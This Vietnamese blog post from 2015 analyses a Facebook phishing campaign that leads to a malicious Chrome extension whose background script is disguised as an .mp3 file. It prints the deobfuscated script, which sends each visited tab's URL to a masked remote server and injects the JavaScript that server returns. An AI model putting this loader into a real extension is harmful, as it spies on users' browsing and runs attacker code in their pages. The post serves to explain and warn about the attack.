Chủ Nhật, 15 tháng 11, 2015

[Phân tích] mã độc mới trên Facebook 15-11

                 Phân Tích Mã Độc Facebook Ngày 15/11

Phân tích chi tiết mã độc tấn công facebook ngày 15/11

ở thời điểm hiện tại , khi nhấn vào thông báo thì bạn sẽ nhận được cảnh báo từ facebook





để viết được bài phân tích cho các bạn ,tôi sẽ truy cập vào liên kết tuy nhiên các bạn nên quay lại để oan toàn cho bản thân 



- đây là đường link về mã độc mà ta lở kích vô :)

Sau khi nhấn vào thông báo, thay vì chuyển hướng tới bình luận như mọi khi thì người dùng sẽ bị chuyển hướng sang một trang web có giao diện giống hệt Facebook.


Dù đây là tấn công theo phương thức Phishing nhưng không phải kiểu thông thường mà chúng ta thường gặp là nhái trang đăng nhập. Lần này nó sẽ hiển thị một trang xem video như trên Facebook


hãy nhìn vào link địa chỉ thì ta sẻ thấy ngay thôi .. 

Phân tích mã độc

CRX thực chất là một định dạng nén đặc biệt của Extension, giống như đuôi JAR của tập tin JAVA. Tức là ta có thể xem nội dung bên trong như một tập tin nén thông thường.





Trong phần mở rộng này có một tập tin khá đặc biệt là 639040963078.mp3 (tập tin MP3 rất ít khi được sử dụng trong Extension). Quét thử với Virus Total thì kết quả có vẻ cũng không "nguy hiểm" lắm.
Tôi liền mở tập tin manifest.json ra coi. Đây là tập tin chứa các thông tin cơ bản và quyền hạn của một Extension.



Phần quyền hạn (permission) có vẻ khá nhạy cảm. Nó quản lý các tab và mọi trang web mà bạn truy cập (kể cả trang web đó sử dụng giao thức bảo mật HTTPS).

 Nhưng có một điểm thú vị hơn là phần kịch bản chạy nền (background): 

"background":{ 
    "scripts""639040963078.mp3"] 


Tại sao tôi lại nói là thú vị? Vì phần này khai báo HTML hoặc JavaScript nhưng tác giả của Extension lại trỏ vào tập tin *.mp3 

Tôi liền đổi đuôi tập tin 639040963078.mp3 thành 639040963078.js và mở lên xem nội dung.

Đoạn mã đã được làm rối (Obfuscated), tuy nhiên mã khá ngắn nên không tốn nhiều thời gian lắm để lấy lại đoạn mã ban đầu:
window.chrome.tabs.onUpdated.addListener(function(wyqhrr) { window.chrome.tabs.get(wyqhrr, function(tab) { 
if (tab.status == 'complete') { 
var xhr = new XMLHttpRequest(); 
xhr.open('GET', 'http://xxx.xyz/z.php?url=' + tab.url, true); 
xhr.onreadystatechange = function() { 
if (xhr.readyState == 4 && xhr.status == 200) { 
window.chrome.tabs.executeScript(tab.id, { 
code: xhr.responseText 
}); 


xhr.send(); 

})
})

Chú ý: Tên miền trong đoạn mã chứa mã độc nên tôi đã ẩn.

Đoạn mã trên sẽ lắng nghe sự kiện mỗi khi người dùng mở tab mới hoặc tab được điều hướng. Khi sự kiện này xảy ra nó sẽ thực thi một đoạn mã độc từ xa. Nội dung mã độc mới được lấy thông qua Ajax.

share để xem nhìu hơn nửa nhá :)

thanh mai